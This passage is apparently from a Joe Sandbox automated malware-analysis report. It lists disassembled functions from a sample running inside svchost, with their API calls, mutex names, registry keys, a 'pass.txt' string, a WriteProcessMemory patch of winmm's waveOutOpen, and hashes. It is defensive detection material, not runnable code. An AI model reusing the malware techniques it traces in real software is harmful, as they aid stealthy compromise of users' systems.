                                                                                                                                                                                                            Function 02D06A50 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 109registrymemorystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D06A81
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D06A9F
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000002,software\microsoft,00000000,00000101,?), ref: 02D06ABB
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,A3B7FE06a,00000000,00000001,?,00000104), ref: 02D06AE2
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000110,?,?), ref: 02D06B5A
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D06B61
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D06B75
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,00000000,00000104), ref: 02D06B8E
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02D06B9C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memset$Heap$AllocCloseOpenProcessQueryValuelstrcpyn
                                                                                                                                                                                                            • String ID: A3B7FE06a$software\microsoft
                                                                                                                                                                                                            • API String ID: 217510255-1900811875
                                                                                                                                                                                                            • Opcode ID: 016b227b7fcd45c3f2d57459273787ac196fe1224a82e6faabc2105e309f77dd
                                                                                                                                                                                                            • Instruction ID: 9c2f595ab175ab87c9c7f75ad0ad0f67b23711b9960ed9af754ed3bb572cf64c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 016b227b7fcd45c3f2d57459273787ac196fe1224a82e6faabc2105e309f77dd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0931E9B1D4021867EB25DB649C49FDE7BACEF18704F000499E509E6281D7F09E94CBE1
                                                                                                                                                                                                            Function 02D068F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 102registrymemorystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D06921
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D0693F
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000101,80000001,?,?,?,?,?,00000000), ref: 02D0695A
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(80000001,A3B7FE06a,00000000,00000001,?,00000104,?,?,?,?,?,00000000), ref: 02D06981
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000110,?,?,?,?,?,?,?,00000000), ref: 02D069FA
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 02D06A01
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D06A15
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,?,?,00000000), ref: 02D06A2E
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(80000001,?,?,?,?,?,00000000), ref: 02D06A3C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memset$Heap$AllocCloseOpenProcessQueryValuelstrcpyn
                                                                                                                                                                                                            • String ID: A3B7FE06a$software\microsoft
                                                                                                                                                                                                            • API String ID: 217510255-1900811875
                                                                                                                                                                                                            • Opcode ID: faff29b81b3ae749863697630d4e36ad21bd95375d689b92c64b66fa879ae858
                                                                                                                                                                                                            • Instruction ID: 20fcb82bfebe8a948311852e66e5df5fbc23fcb1d5b8080778617b1aac6083e3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: faff29b81b3ae749863697630d4e36ad21bd95375d689b92c64b66fa879ae858
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6B31E871D4122867DB14DB649C89BDE7BACEF19B04F404499F509E6280D7B09F94CBE1
                                                                                                                                                                                                            Function 02D21869 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 90threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000,?), ref: 02D218CD
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D218D7
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D218DF
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D218F0
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D218F7
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02D21904
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D21AE0,00000000,00000000,00000000), ref: 02D2194A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D21962
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D21973
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateDirectoryErrorHandleLast$AdminCloseCurrentFolderInformationMakePathSystemThreadUser
                                                                                                                                                                                                            • String ID: 5C590608$pass.txt
                                                                                                                                                                                                            • API String ID: 1033491162-2555713871
                                                                                                                                                                                                            • Opcode ID: 24498f62e08699e79e59d300dfb899407e69a7cee603ae0ee676b72c9509a9b4
                                                                                                                                                                                                            • Instruction ID: 0f05dc4cdfd3078ccddfe23f95ed38918c7a4de19ef1094b74f77330f3cd04d2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 24498f62e08699e79e59d300dfb899407e69a7cee603ae0ee676b72c9509a9b4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 09310535A403296BDB208F24A8587EB7BE8EF65344F548694F88997340DBB0DD98CBD0
                                                                                                                                                                                                            Function 02D12260 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 75memorystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D12277
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,7591F550,00000000), ref: 02D1228E
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?,?,7591F550,00000000), ref: 02D1229B
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(?,?,7591F550,00000000), ref: 02D122D7
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(02D59F08,00000000,00000104,00000000,00000001,?,7591F550,00000000), ref: 02D12301
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,7591F550,00000000), ref: 02D12310
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,7591F550,00000000), ref: 02D12313
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,7591F550,00000000), ref: 02D12320
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,7591F550,00000000), ref: 02D12323
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Path$Process$BackslashExistsFileFolderFreeValidatelstrcpynmemset
                                                                                                                                                                                                            • String ID: a3b7fb16a$\t
                                                                                                                                                                                                            • API String ID: 780088666-3373337849
                                                                                                                                                                                                            • Opcode ID: 910691ed0493fb14957c9764db64bcca464b866342e7991535c065f210583655
                                                                                                                                                                                                            • Instruction ID: d33ffb4c552892f84f4c842c29fa30f5e1017dae80002dac343539e6673880c0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 910691ed0493fb14957c9764db64bcca464b866342e7991535c065f210583655
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E411E435A8422477DA205A647C1DFDB7BA9DB51702F800144F9C5EB3C0DAE19C90CAD0
                                                                                                                                                                                                            Function 02D03940 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 59libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02D03951
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll,?,?,02D168DD), ref: 02D03964
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 02D03970
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02D0399D
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll,?,?,02D168DD), ref: 02D039AA
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 02D039B6
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D039E9
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressCountHandleModuleProcTick$_snprintf
                                                                                                                                                                                                            • String ID: %x%x$33b091295587945c$RtlUniform$ntdll.dll
                                                                                                                                                                                                            • API String ID: 3150073801-3579783
                                                                                                                                                                                                            • Opcode ID: 76940e92c004eaed448fe060f49181b1fde2bd027ea06a65997077c132677866
                                                                                                                                                                                                            • Instruction ID: b8f6736b2ae0965956ad9012a92ba34fecb9b24a8a17cde85136be39cff89806
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 76940e92c004eaed448fe060f49181b1fde2bd027ea06a65997077c132677866
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6F016175FC02217FFB449EB9BCC1D6677D9BB817243448D29ED16E2390DBA08D15C6A0
                                                                                                                                                                                                            Function 02D243A0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 56sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-89ea-4fe1-9A0D-95CD39DC0214}), ref: 02D243BC
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D243D2
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-89ea-4fe1-9A0D-95CD39DC0214}), ref: 02D243E0
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D243E9
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D24401
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D24413
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D2A0), ref: 02D2441E
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,02D5D2A0,YOTA), ref: 02D24438
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Mutex$HandleOpenSleep$BackslashCloseInformationPathRelease
                                                                                                                                                                                                            • String ID: Local\{EAF799BF-89ea-4fe1-9A0D-95CD39DC0214}$YOTA$\t
                                                                                                                                                                                                            • API String ID: 849374196-4290304893
                                                                                                                                                                                                            • Opcode ID: ff2cecdd35c2ab115a7426a4c5a0698a965de4153ca267a1b94c6967d81320d4
                                                                                                                                                                                                            • Instruction ID: 4827fa22816556b98c213ccb96e60f0aa32b50006e222b9fe4ecefcc73a68942
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ff2cecdd35c2ab115a7426a4c5a0698a965de4153ca267a1b94c6967d81320d4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B5014536AC03243BF210AA607C4AF5A73D89F64B28F808515FD45923809BF0AC188AB6
                                                                                                                                                                                                            Function 02D24030 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 56sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}), ref: 02D2404C
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D24062
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}), ref: 02D24070
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D24079
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D24091
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D240A3
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D19C), ref: 02D240AE
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,02D5D19C,VEFK), ref: 02D240C8
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Mutex$HandleOpenSleep$BackslashCloseInformationPathRelease
                                                                                                                                                                                                            • String ID: Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}$VEFK$\t
                                                                                                                                                                                                            • API String ID: 849374196-2057582180
                                                                                                                                                                                                            • Opcode ID: ea5a5ad395c6feb96f993b82607f82044d0f05604089cfdaf7b994b7a9668ed0
                                                                                                                                                                                                            • Instruction ID: d846b729aa57177870f43500072053e0ac69f0eefb31aece2e592dec5aa9b3f3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ea5a5ad395c6feb96f993b82607f82044d0f05604089cfdaf7b994b7a9668ed0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3B01FE35EC13347BF2215F60BC05F5E73C89F55B58F514545FE45963809BE0AC188AB6
                                                                                                                                                                                                            Function 02D216E0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 56sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF339BF-89ea-4fe1-9A0D-95CD39DC0214}), ref: 02D216FC
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D21712
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF339BF-89ea-4fe1-9A0D-95CD39DC0214}), ref: 02D21720
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D21729
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D21741
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D21753
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D4A8), ref: 02D2175E
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,02D5D4A8,OFFSHORE), ref: 02D21778
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Mutex$HandleOpenSleep$BackslashCloseInformationPathRelease
                                                                                                                                                                                                            • String ID: Local\{EAF339BF-89ea-4fe1-9A0D-95CD39DC0214}$OFFSHORE$\t
                                                                                                                                                                                                            • API String ID: 849374196-363571489
                                                                                                                                                                                                            • Opcode ID: d84b8ab8f1773be0c6e8f7f69f0d746622aaa629cdc5eee5e0b1103c0ae686f5
                                                                                                                                                                                                            • Instruction ID: 150bd30a9ae7d1b12a06ec9cf810a0fa2b5ad79b5ad4e2e0f04287c385358174
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d84b8ab8f1773be0c6e8f7f69f0d746622aaa629cdc5eee5e0b1103c0ae686f5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AD012635AC07247BF3106F607C4AF5A73D89FA0BA8F008504FD09923819BF0EC1886B5
                                                                                                                                                                                                            Function 02D082E0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 44libraryloadersynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D082FE
                                                                                                                                                                                                            • GetCurrentProcessId.KERNEL32 ref: 02D08306
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D0831E
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,?), ref: 02D08332
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(00000002), ref: 02D0833A
                                                                                                                                                                                                            • LoadLibraryA.KERNEL32(winmm.dll,waveOutOpen), ref: 02D0834A
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 02D08351
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(000000FF,00000000,?,00000006,00000000), ref: 02D08373
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Process$AddressCreateCurrentErrorLibraryLoadMemoryModeMutexProcWrite_snprintfmemset
                                                                                                                                                                                                            • String ID: Global\HighMemoryEvent_%08x$waveOutOpen$winmm.dll
                                                                                                                                                                                                            • API String ID: 45796355-4231559177
                                                                                                                                                                                                            • Opcode ID: 234377f3acef08537880842126590163bb5b213dc7e4c5472d19c150263e87bd
                                                                                                                                                                                                            • Instruction ID: cbed47cf48ea9f27a78c105eb759177b0de82b384a2fc4410e517078e9fc563f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 234377f3acef08537880842126590163bb5b213dc7e4c5472d19c150263e87bd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 37017175984204BBE710EFD0AC4AFA97768AB15701F804688BA45A52C0DBF05E94CFA1
                                                                                                                                                                                                            Function 02D1B3F0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 41sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}), ref: 02D1B41C
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D1B425
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D1B439
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D1B44B
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c590506), ref: 02D1B456
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,5c590506,ALPHA), ref: 02D1B470
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D1B476
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                            • String ID: 5c590506$ALPHA$Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}$\t
                                                                                                                                                                                                            • API String ID: 4280258085-3769041950
                                                                                                                                                                                                            • Opcode ID: e978e91cda3758eed4a745cd45d7503ab7d16e2f9701f60752258cc687d6daf2
                                                                                                                                                                                                            • Instruction ID: 884be5c891d04cf161787bf1c86a16b82afaf3a901b4ded18760657726329072
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e978e91cda3758eed4a745cd45d7503ab7d16e2f9701f60752258cc687d6daf2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B0F0F430A847147BE6006F61BC0AF5A37D8AF29A0CF50C915F94691380DBE0BD10CAA6
                                                                                                                                                                                                            Function 02D1F990 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 41sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}), ref: 02D1F9BC
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D1F9C5
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D1F9D9
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D1F9EB
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c5904bc), ref: 02D1F9F6
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,5c5904bc,HANDY), ref: 02D1FA10
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D1FA16
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                            • String ID: 5c5904bc$HANDY$Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}$\t
                                                                                                                                                                                                            • API String ID: 4280258085-2230293276
                                                                                                                                                                                                            • Opcode ID: d3e911b9c73f59f3fbbc687b181cd2d41bbe410eaaa4fddcc76abe4c793fc5f6
                                                                                                                                                                                                            • Instruction ID: eea1ba209727663f69a1a99cf2358ae7321339a6f58e9f4ed7b021cfe51bce7e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d3e911b9c73f59f3fbbc687b181cd2d41bbe410eaaa4fddcc76abe4c793fc5f6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 30F0A431AC87157FE6016BA0BC0DF5E77D8AF06B58F504504B986A1B80DBF0AD148BB6
                                                                                                                                                                                                            Function 02D22ED0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 41sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}), ref: 02D22EFC
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D22F05
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D22F19
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D22F2B
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C5901AC), ref: 02D22F36
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,5C5901AC,RFK), ref: 02D22F50
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D22F56
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
